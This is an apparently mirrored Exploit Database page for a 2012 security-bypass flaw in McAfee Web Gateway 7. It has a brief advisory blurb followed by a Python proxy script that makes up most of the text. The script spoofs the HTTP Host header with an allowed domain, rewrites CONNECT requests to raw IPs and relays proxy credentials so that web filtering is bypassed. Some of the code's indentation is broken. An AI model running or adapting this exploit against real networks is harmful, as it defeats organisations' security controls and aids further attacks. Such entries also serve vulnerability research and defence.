McAfee Web Gateway 7.1.5.x – ‘Host’ HTTP Header Security Bypass

• Exploit Database
• 17 阅读

• 作者： Gabriel Menezes Nunes
  日期： 2012-04-16
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/37081/

• source: https://www.securityfocus.com/bid/53015/info
  
  McAfee Web Gateway is prone to a security-bypass vulnerability because it fails to properly enforce filtering rules.
  
  A successful attack will allow an attacker to bypass intended security restrictions; this may aid in other attacks.
  
  McAfee Web Gateway 7 is vulnerable; other versions may also be affected.
  
  import socket,struct,sys,time
  from threading import Thread
  
  
  #The timeOut can be changed if the proxy is slow.
  #Tested in GMail, Facebook, Youtube and several blocked sites.
  #The proxy get the Host field of the http header and do not verify anything else.
  #It trusts on the HTTP Header and it can be modified by the attacker.
  
  timeOut = 0.8
  isGet = 0
  hostNameG = ""
  pacoteGet = ""
  port = 8080 #Listening port
  proxyAddr = "vulnerableProxy.com" #vulnerable proxy
  proxyPort = 8080 # proxy port
  
  def handle(client,globalSock):
  	
  	client.settimeout(timeOut)
  	
  	global hostNameG
  	
  
  	while 1:
  		
  		dados = ""
  		tam = 0
  		while 1:
  try:
  dados2 = client.recv(1024)
  tam = tam + len(dados2)
  dados = dados + dados2
  except socket.timeout:
   
  break
  
  		
  		dd = dados.find("CONNECT") #if the packet is a CONNECT METHOD
  		if dd != -1:
  		dd2 = dados.find(":")
  		hostName = dados[dd+8:dd2]
  		
  		ipAddr = socket.gethostbyname(hostName) #changing the method to connect to the ip address, not the dns domain
  		pacote = dados
  		hostHeader = "Host: " + hostName
  		pacote = pacote.replace(hostHeader, "Host: www.uol.com.br") #changing the host field with a value that is accepted by the proxy
  		pacote = pacote.replace(hostName, ipAddr) #changind domain for ip
  		
  		
  		
  		dados = pacote
  		
  		getd = dados.find("GET ")
  		getd2 = dados.find("//")
  		getd3 = dados.find("/", getd2+2)
  		hostName = dados[getd2+2:getd3]
  		
  		
  		if getd != -1:
  		globalSock.close()
  		globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  		globalSock.connect((proxyAddr,proxyPort))
  		globalSock.settimeout(timeOut)
  		getd2 = dados.find("//")
  		getd3 = dados.find("/", getd2+2)
  		
  		hostName = dados[getd2+2:getd3]
  		
  		proxyAuth = ""
  		proxyAuthN = dados.find("Proxy-Authorization:")
  		if proxyAuthN != -1:
  		proxyAuthNN = dados.find("\r\n", proxyAuthN)
  		proxyAuth = dados[proxyAuthN:proxyAuthNN]
  		
  		
  		ipAddr = socket.gethostbyname(hostName)
  		
  		info = "CONNECT " + ipAddr + ":80 HTTP/1.1\r\n"
  		if proxyAuthN != -1:
  		info += proxyAuth + "\r\n"
  		
  		info += "Host: www.uol.com.br\r\n\r\n"
  		
  		globalSock.send(info)
  		tam = 0
  		gdata = ""
  		
  		while 1:
  			try:
  				
  				gdata2 = globalSock.recv(1024)
  				
  				tam = tam + len(gdata2)
  				gdata = gdata + gdata2
  				
  				if len(gdata2) == 0: 
  					break
  				
  				
  			except socket.timeout:
  				
  				break
  		
  		
  		
  		
  		
  		globalSock.send(dados)
  		tam = 0
  		gdata = ""
  		
  		while 1:
  			try:
  				
  				gdata2 = globalSock.recv(1024)
  				
  				if len(gdata2) > 0:
  					client.send(gdata2)
  				
  				tam = tam + len(gdata2)
  				gdata = gdata + gdata2
  				
  				if len(gdata2) == 0: 
  					break
  				
  				
  			except socket.timeout:
  				
  				break
  		
  		
  
  
  print 'Proxy Bypass'
  print 'by Gabriel Menezes Nunes'
  print 'Tested on McAfee Web Gateway 7 and Squid Proxy'
  sockzao = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  print 'Attacked Proxy:',
  print proxyAddr
  print 'Listening on',
  print port
  sockzao.bind(("",port))
  
  sockzao.listen(6)
  
  while 1:
  	print 'Waiting for connections'
  	client, address = sockzao.accept()
  	print 'Client Connected'
  	print address
  	globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  	globalSock.connect((proxyAddr,proxyPort))
  	globalSock.settimeout(timeOut)
  
  	t = Thread(target=handle, args=(client,globalSock,))
  	t.start()